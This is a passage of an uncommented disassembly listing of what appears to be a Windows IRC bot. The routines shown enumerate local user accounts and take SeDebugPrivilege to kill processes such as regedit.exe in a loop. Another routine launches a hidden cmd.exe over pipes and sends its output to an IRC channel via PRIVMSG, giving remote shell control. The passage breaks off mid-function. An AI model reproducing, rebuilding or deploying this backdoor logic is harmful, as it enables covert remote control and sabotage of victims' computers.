var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419B2F push esi ; int mov [ebp+var_14], eax push [ebp+arg_8] ; int mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 18h loc_41A223: ; CODE XREF: sub_41A1E4+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4E4180 cmp eax, esi mov [ebp+var_C], eax jz short loc_41A284 cmp eax, 0EAh jz short loc_41A284 push eax push eax call sub_41A364 pop ecx push eax lea eax, [ebp+Dest] push offset asc_451874 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 24h jmp short loc_41A2FF ; --------------------------------------------------------------------------- loc_41A284: ; CODE XREF: sub_41A1E4+62j ; sub_41A1E4+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41A312 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_41A2FF loc_41A296: ; CODE XREF: sub_41A1E4+EDj cmp edi, esi jz short loc_41A2D5 push dword ptr [edi] lea eax, [ebp+Dest] push offset aS_30 ; " %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_41A296 jmp short loc_41A2FF ; --------------------------------------------------------------------------- loc_41A2D5: ; CODE XREF: sub_41A1E4+B4j lea eax, [ebp+Dest] push offset asc_451840 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 1Ch loc_41A2FF: ; CODE XREF: sub_41A1E4+9Ej ; sub_41A1E4+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41A312 push edi call dword_4E42B0 xor edi, edi mov [ebp+var_4], edi loc_41A312: ; CODE XREF: sub_41A1E4+A5j ; sub_41A1E4+120j cmp [ebp+var_C], 0EAh jz loc_41A223 cmp edi, esi jz short loc_41A32A push edi call dword_4E42B0 loc_41A32A: ; CODE XREF: sub_41A1E4+13Dj push [ebp+var_8] lea eax, [ebp+Dest] push offset aTotalUsersFoun ; "Total users found: %d." push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41A1E4 endp ; =============== S U B R O U T I N E ======================================= sub_41A364 proc near ; CODE XREF: sub_41999D+41p ; sub_419B93+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_41A416 jz loc_41A40F cmp eax, 7Bh ja short loc_41A3DB jz short loc_41A3D1 cmp eax, 5 jz short loc_41A3C7 cmp eax, 8 jz short loc_41A3BD cmp eax, 32h jz short loc_41A3B3 cmp eax, 35h jz short loc_41A3A9 cmp eax, 57h jnz loc_41A465 push offset aInvalidParamet ; "Invalid parameter." jmp loc_41A486 ; --------------------------------------------------------------------------- loc_41A3A9: ; CODE XREF: sub_41A364+30j push offset aServerNameNotF ; "Server name not found." jmp loc_41A486 ; --------------------------------------------------------------------------- loc_41A3B3: ; CODE XREF: sub_41A364+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_41A486 ; --------------------------------------------------------------------------- loc_41A3BD: ; CODE XREF: sub_41A364+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_41A486 ; --------------------------------------------------------------------------- loc_41A3C7: ; CODE XREF: sub_41A364+21j push offset aAccessDenied_ ; "Access denied." jmp loc_41A486 ; --------------------------------------------------------------------------- loc_41A3D1: ; CODE XREF: sub_41A364+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_41A486 ; --------------------------------------------------------------------------- loc_41A3DB: ; CODE XREF: sub_41A364+1Aj sub eax, 7Ch jz short loc_41A408 sub eax, 7C8h jz short loc_41A401 dec eax jz short loc_41A3F7 dec eax jnz short loc_41A465 push offset aDuplicateShare ; "Duplicate share name." jmp loc_41A486 ; --------------------------------------------------------------------------- loc_41A3F7: ; CODE XREF: sub_41A364+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_41A486 ; --------------------------------------------------------------------------- loc_41A401: ; CODE XREF: sub_41A364+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A408: ; CODE XREF: sub_41A364+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A40F: ; CODE XREF: sub_41A364+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A416: ; CODE XREF: sub_41A364+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41A44F jz short loc_41A448 sub eax, 8ADh jz short loc_41A47A dec eax dec eax jz short loc_41A441 dec eax jz short loc_41A43A dec eax dec eax jnz short loc_41A465 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A43A: ; CODE XREF: sub_41A364+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A441: ; CODE XREF: sub_41A364+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A448: ; CODE XREF: sub_41A364+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A44F: ; CODE XREF: sub_41A364+B9j sub eax, 8CAh jz short loc_41A481 sub eax, 17h jz short loc_41A47A sub eax, 25h jz short loc_41A473 sub eax, 29h jz short loc_41A46C loc_41A465: ; CODE XREF: sub_41A364+35j ; sub_41A364+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A46C: ; CODE XREF: sub_41A364+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A473: ; CODE XREF: sub_41A364+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A47A: ; CODE XREF: sub_41A364+C2j ; sub_41A364+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A481: ; CODE XREF: sub_41A364+F0j push offset aNetworkConnect ; "Network connection not found." loc_41A486: ; CODE XREF: sub_41A364+40j ; sub_41A364+4Aj ... push offset byte_4F3F24 ; Dest call _sprintf pop ecx mov eax, offset byte_4F3F24 pop ecx retn sub_41A364 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A498(char *Source) sub_41A498 proc near ; CODE XREF: sub_401CC7+487Bp Dest = word ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h Source = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h ; MaxCount push [ebp+Source] ; Source lea eax, [ebp+Dest] push eax ; Dest call _mbstowcs add esp, 0Ch lea eax, [ebp+Source] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+Source], esi call ds:dword_4F63C8 ; GetComputerNameA lea eax, [ebp+var_108] push esi ; MaxCount push eax ; Source lea eax, [ebp+var_318] push eax ; Dest call _mbstowcs lea eax, [ebp+Dest] push eax ; Str call _wcslen add esp, 10h shl eax, 1 push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4E4230 test eax, eax jnz short loc_41A528 mov esi, offset byte_4F3D20 push offset asc_451B70 ; "-" push esi ; Dest call _sprintf pop ecx pop ecx jmp short loc_41A551 ; --------------------------------------------------------------------------- loc_41A528: ; CODE XREF: sub_41A498+7Aj lea ecx, [ebp+Dest] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41A364 pop ecx mov esi, offset byte_4F3D20 push eax push offset asc_451B98 ; "-" push esi ; Dest call _sprintf add esp, 14h loc_41A551: ; CODE XREF: sub_41A498+8Ej mov eax, esi pop esi leave retn sub_41A498 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A556 proc near ; CODE XREF: sub_417AC3+45p ; sub_417AC3+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_4F6400 ; GetCurrentProcess push eax call dword_4E4204 ; OpenProcessToken test eax, eax jnz short loc_41A575 leave retn ; --------------------------------------------------------------------------- loc_41A575: ; CODE XREF: sub_41A556+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4E41DC ; LookupPrivilegeValueA test eax, eax jz short loc_41A5B3 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_41A59C or [ebp+var_8], 2 jmp short loc_41A5A0 ; --------------------------------------------------------------------------- loc_41A59C: ; CODE XREF: sub_41A556+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41A5A0: ; CODE XREF: sub_41A556+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4E428C ; AdjustTokenPrivileges mov esi, eax loc_41A5B3: ; CODE XREF: sub_41A556+32j push [ebp+var_4] call ds:dword_4F6370 ; CloseHandle mov eax, esi pop esi leave retn sub_41A556 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A5C1(int,char *Str,int,char *Str2,int,int) sub_41A5C1 proc near ; CODE XREF: sub_401CC7+7A67p ; sub_41A804+74p ... Dest = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h Str1 = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h Str2 = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4E4240, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_41A7D4 cmp dword_4E4224, ebx jz loc_41A7D4 cmp dword_4E4134, ebx jz loc_41A7D4 push 1 push offset aSedebugprivi_1 ; "SeDebugPrivilege" call sub_41A556 pop ecx pop ecx push ebx push 0Fh call dword_4E4240 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_41A7C7 lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4E4224 ; Process32First mov esi, ds:dword_4F6370 test eax, eax jz loc_41A7C2 lea eax, [ebp+var_130] push eax push edi call dword_4E4134 ; Process32Next test eax, eax jz loc_41A7C2 mov edi, ds:dword_4F638C mov ebx, 1F0FFFh loc_41A685: ; CODE XREF: sub_41A5C1+1F9j xor eax, eax cmp [ebp+arg_10], eax jz short loc_41A6EC mov [ebp+var_4], offset off_451BC8 loc_41A693: ; CODE XREF: sub_41A5C1+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+Str1] push eax call ds:dword_4F648C ; lstrcmpi test eax, eax jz short loc_41A6BB add [ebp+var_4], 4 cmp [ebp+var_4], offset aRegedit_exe ; "regedit.exe" jb short loc_41A693 jmp loc_41A7A8 ; --------------------------------------------------------------------------- loc_41A6BB: ; CODE XREF: sub_41A5C1+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_41A7A8 push 0 push eax call ds:dword_4F63F8 ; TerminateProcess test eax, eax jnz loc_41A7A8 loc_41A6E2: ; CODE XREF: sub_41A5C1+1CDj push [ebp+var_4] call esi ; CloseHandle jmp loc_41A7A8 ; --------------------------------------------------------------------------- loc_41A6EC: ; CODE XREF: sub_41A5C1+C9j cmp [ebp+Str2], eax jnz loc_41A793 cmp [ebp+Str], eax jz loc_41A7A8 push [ebp+var_128] push 8 call dword_4E4240 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41A753 lea ecx, [ebp+var_354] push ecx push eax call dword_4E40E0 ; Module32First push [ebp+var_128] test eax, eax jz short loc_41A745 lea eax, [ebp+var_234] push eax push offset aSD_0 ; " %s (%d)" jmp short loc_41A765 ; --------------------------------------------------------------------------- loc_41A745: ; CODE XREF: sub_41A5C1+174j lea eax, [ebp+Str1] push eax push offset aSD_1 ; " %s (%d)" jmp short loc_41A765 ; --------------------------------------------------------------------------- loc_41A753: ; CODE XREF: sub_41A5C1+15Cj push [ebp+var_128] lea eax, [ebp+Str1] push eax push offset aSD_2 ; " %s (%d)" loc_41A765: ; CODE XREF: sub_41A5C1+182j ; sub_41A5C1+190j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push 1 ; int push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h jmp loc_41A6E2 ; --------------------------------------------------------------------------- loc_41A793: ; CODE XREF: sub_41A5C1+12Ej push [ebp+Str2] ; Str2 lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_41A7DB loc_41A7A8: ; CODE XREF: sub_41A5C1+F5j ; sub_41A5C1+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4E4134 ; Process32Next test eax, eax jnz loc_41A685 xor ebx, ebx loc_41A7C2: ; CODE XREF: sub_41A5C1+9Dj ; sub_41A5C1+B3j push [ebp+var_8] call esi ; CloseHandle loc_41A7C7: ; CODE XREF: sub_41A5C1+77j push ebx push offset aSedebugprivi_2 ; "SeDebugPrivilege" call sub_41A556 pop ecx pop ecx loc_41A7D4: ; CODE XREF: sub_41A5C1+3Aj ; sub_41A5C1+46j ... xor eax, eax loc_41A7D6: ; CODE XREF: sub_41A5C1+241j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A7DB: ; CODE XREF: sub_41A5C1+1E5j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; CloseHandle push 0 push edi call ds:dword_4F63F8 ; TerminateProcess test eax, eax jnz short loc_41A7FF push edi call esi ; CloseHandle jmp short loc_41A7D4 ; --------------------------------------------------------------------------- loc_41A7FF: ; CODE XREF: sub_41A5C1+237j push 1 pop eax jmp short loc_41A7D6 sub_41A5C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A804 proc near ; DATA XREF: sub_401CC7+26BFo Dest = byte ptr -298h var_98 = dword ptr -98h Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset asc_451DC0 ; "-" rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+Dest] push eax ; Dest call _sprintf xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41A863 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_98] ; int call sub_409D6C add esp, 14h loc_41A863: ; CODE XREF: sub_41A804+3Dj push [ebp+var_10] ; int lea eax, [ebp+Str] push esi ; int push esi ; Str2 push [ebp+var_C] ; int push eax ; Str push [ebp+var_98] ; int call sub_41A5C1 add esp, 18h test eax, eax jnz short loc_41A88B push offset unk_451DE0 jmp short loc_41A890 ; --------------------------------------------------------------------------- loc_41A88B: ; CODE XREF: sub_41A804+7Ej push offset asc_451E04 ; "-" loc_41A890: ; CODE XREF: sub_41A804+85j lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_41A8C3 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_98] ; int call sub_409D6C add esp, 14h loc_41A8C3: ; CODE XREF: sub_41A804+9Dj lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_14] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_41A804 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A8E2 proc near ; CODE XREF: sub_401CC7+7A09p ; sub_40B8C9+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call ds:dword_4F638C ; OpenProcess mov esi, eax test esi, esi jz short loc_41A914 push 0 push esi call ds:dword_4F63F8 ; TerminateProcess test eax, eax jnz short loc_41A914 push esi xor edi, edi call ds:dword_4F6370 ; CloseHandle loc_41A914: ; CODE XREF: sub_41A8E2+1Aj ; sub_41A8E2+27j mov eax, edi pop edi pop esi retn sub_41A8E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41A919 proc near ; DATA XREF: WinMain(x,x,x,x)+3CDo push esi xor esi, esi loc_41A91C: ; CODE XREF: sub_41A919+1Ej push 1 ; int push esi ; int push esi ; Str2 push esi ; int push esi ; Str push esi ; int call sub_41A5C1 add esp, 18h push dword_451BC4 call ds:dword_4F6380 ; Sleep jmp short loc_41A91C sub_41A919 endp ; =============== S U B R O U T I N E ======================================= sub_41A939 proc near ; CODE XREF: sub_41A969+2Ap ; sub_41A9A1+7Ep ... mov eax, dword_4F458C push esi mov esi, ds:dword_4F6370 cmp eax, 0FFFFFFFFh jz short loc_41A94D push eax call esi ; CloseHandle loc_41A94D: ; CODE XREF: sub_41A939+Fj mov eax, dword_4F4594 cmp eax, 0FFFFFFFFh jz short loc_41A95A push eax call esi ; CloseHandle loc_41A95A: ; CODE XREF: sub_41A939+1Cj mov eax, dword_4F4588 cmp eax, 0FFFFFFFFh jz short loc_41A967 push eax call esi ; CloseHandle loc_41A967: ; CODE XREF: sub_41A939+29j pop esi retn sub_41A939 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A969(char *Str) sub_41A969 proc near ; CODE XREF: sub_401CC7+775Fp ; sub_4167F7+14Ap var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+Str] ; Str call _strlen pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+Str] push dword_4F4590 call ds:dword_4F63E8 ; WriteFile test eax, eax jnz short loc_41A99C call sub_41A939 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41A99C: ; CODE XREF: sub_41A969+28j push 1 pop eax leave retn sub_41A969 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A9A1(int,char *Str1,int) sub_41A9A1 proc near ; CODE XREF: sub_41AA28+D3p ; sub_41AA28+F2p ... Dest = byte ptr -200h arg_0 = dword ptr 8 Str1 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_4F45D4 ; Str2 push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_41A9E4 push 7D0h call ds:dword_4F6380 ; Sleep push [ebp+arg_8] lea eax, [ebp+Dest] push [ebp+Str1] push offset aPrivmsgSS_4 ; "PRIVMSG %s :%s\r" push eax ; Dest call _sprintf add esp, 10h jmp short loc_41A9FB ; --------------------------------------------------------------------------- loc_41A9E4: ; CODE XREF: sub_41A9A1+1Aj push [ebp+arg_8] lea eax, [ebp+Dest] push offset aS_31 ; "%s" push eax ; Dest call _sprintf add esp, 0Ch loc_41A9FB: ; CODE XREF: sub_41A9A1+41j lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4E4270 ; send test eax, eax jg short loc_41AA24 call sub_41A939 loc_41AA24: ; CODE XREF: sub_41A9A1+7Cj xor eax, eax leave retn sub_41A9A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA28 proc near ; DATA XREF: sub_41AB7D+174o Dst = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset byte_4F4598 loc_41AA40: ; CODE XREF: sub_41AA28+79j ; sub_41AA28+DBj push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+Dst] push esi push eax push dword_4F458C call ds:dword_4F6494 ; PeekNamedPipe test eax, eax jz loc_41AB0E cmp [ebp+var_4], edi jnz short loc_41AAA3 lea eax, [ebp+var_8] push eax push dword_4F4588 call ds:dword_4F6490 ; GetExitCodeProcess test eax, eax jz short loc_41AA99 cmp [ebp+var_8], 103h jnz loc_41AB32 loc_41AA99: ; CODE XREF: sub_41AA28+62j push 0Ah call ds:dword_4F6380 ; Sleep jmp short loc_41AA40 ; --------------------------------------------------------------------------- loc_41AAA3: ; CODE XREF: sub_41AA28+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41AABA loc_41AAAA: ; CODE XREF: sub_41AA28+90j cmp [ebp+eax+Dst], 0Ah jz short loc_41AB08 inc eax cmp eax, [ebp+var_4] jb short loc_41AAAA loc_41AABA: ; CODE XREF: sub_41AA28+80j mov [ebp+var_4], esi loc_41AABD: ; CODE XREF: sub_41AA28+E4j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+Dst] push eax push dword_4F458C call ds:dword_4F63F0 ; ReadFile test eax, eax jz short loc_41AB5A lea eax, [ebp+Dst] push eax ; int push ebx ; Str1 push dword_4F45CC ; int call sub_41A9A1 add esp, 0Ch jmp loc_41AA40 ; --------------------------------------------------------------------------- loc_41AB08: ; CODE XREF: sub_41AA28+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41AABD ; --------------------------------------------------------------------------- loc_41AB0E: ; CODE XREF: sub_41AA28+45j push offset unk_451E3C ; int push ebx ; Str1 push dword_4F45CC ; int call sub_41A9A1 push [ebp+arg_0] call sub_40BAAA add esp, 10h push 1 call ds:dword_4F63D4 ; ExitThread loc_41AB32: ; CODE XREF: sub_41AA28+6Bj call sub_41A939 push offset unk_451E6C ; int push ebx ; Str1 push dword_4F45CC ; int call sub_41A9A1 push [ebp+arg_0] call sub_40BAAA add esp, 10h push edi call ds:dword_4F63D4 ; ExitThread loc_41AB5A: ; CODE XREF: sub_41AA28+C3j push offset unk_451E94 ; int push ebx ; Str1 push dword_4F45CC ; int call sub_41A9A1 push [ebp+arg_0] call sub_40BAAA add esp, 10h push edi call ds:dword_4F63D4 ; ExitThread sub_41AA28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB7D proc near ; CODE XREF: sub_401CC7+24C4p ; sub_4167F7+99p Dest = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h Dst = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi push edi call sub_41A939 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe_0 ; "cmd.exe" push esi call dword_4E42DC ; SearchPathA test eax, eax jz loc_41AC77 lea eax, [ebp+var_1C] mov edi, ds:dword_4F6404 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], 1 mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_41AC77 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_41AC77 mov edi, ds:dword_4F6400 push 3 push esi push esi push offset dword_4F4590 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call ds:dword_4F63FC ; DuplicateHandle test eax, eax jz short loc_41AC77 push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_74] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+Dst] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push 1 push esi push esi lea eax, [ebp+var_178] push offset dword_4F45D8 push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_4F6374 ; CreateProcessA test eax, eax jnz short loc_41AC7F loc_41AC77: ; CODE XREF: sub_41AB7D+2Ej ; sub_41AB7D+5Cj ... or eax, 0FFFFFFFFh jmp loc_41AD31 ; --------------------------------------------------------------------------- loc_41AC7F: ; CODE XREF: sub_41AB7D+F8j push [ebp+var_4] mov edi, ds:dword_4F6370 call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4F458C, eax mov eax, [ebp+var_8] mov dword_4F4594, eax mov eax, [ebp+Dst] mov dword_4F4588, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4F45CC, eax jz short loc_41ACB9 push [ebp+arg_4] jmp short loc_41ACBE ; --------------------------------------------------------------------------- loc_41ACB9: ; CODE XREF: sub_41AB7D+135j push offset byte_4F45DC ; Format loc_41ACBE: ; CODE XREF: sub_41AB7D+13Aj push offset byte_4F4598 ; Dest call _sprintf pop ecx pop ecx push esi ; int push 0Ah ; int push offset asc_451ECC ; "-" call sub_40B78E mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_457130[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41AA28 push esi push esi call ds:dword_4F6384 ; CreateThread cmp eax, esi mov dword_45713C[edi], eax jnz short loc_41AD2F call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dest] push offset asc_451EF0 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 10h loc_41AD2F: ; CODE XREF: sub_41AB7D+189j xor eax, eax loc_41AD31: ; CODE XREF: sub_41AB7D+FDj pop edi pop esi leave retn sub_41AB7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD35 proc near ; DATA XREF: sub_401CC7+2E14o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41AD7C call sub_41AD95 jmp short loc_41AD81 ; --------------------------------------------------------------------------- loc_41AD7C: ; CODE XREF: sub_41AD35+3Ej call sub_41B0B9 loc_41AD81: ; CODE XREF: sub_41AD35+45j add esp, 10h push [ebp+var_14] call sub_40BAAA pop ecx push 0 call ds:dword_4F63D4 ; ExitThread sub_41AD35 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD95 proc near ; CODE XREF: sub_41AD35+40p Dest = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Str = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4E42F0, edi jnz loc_41AEC7 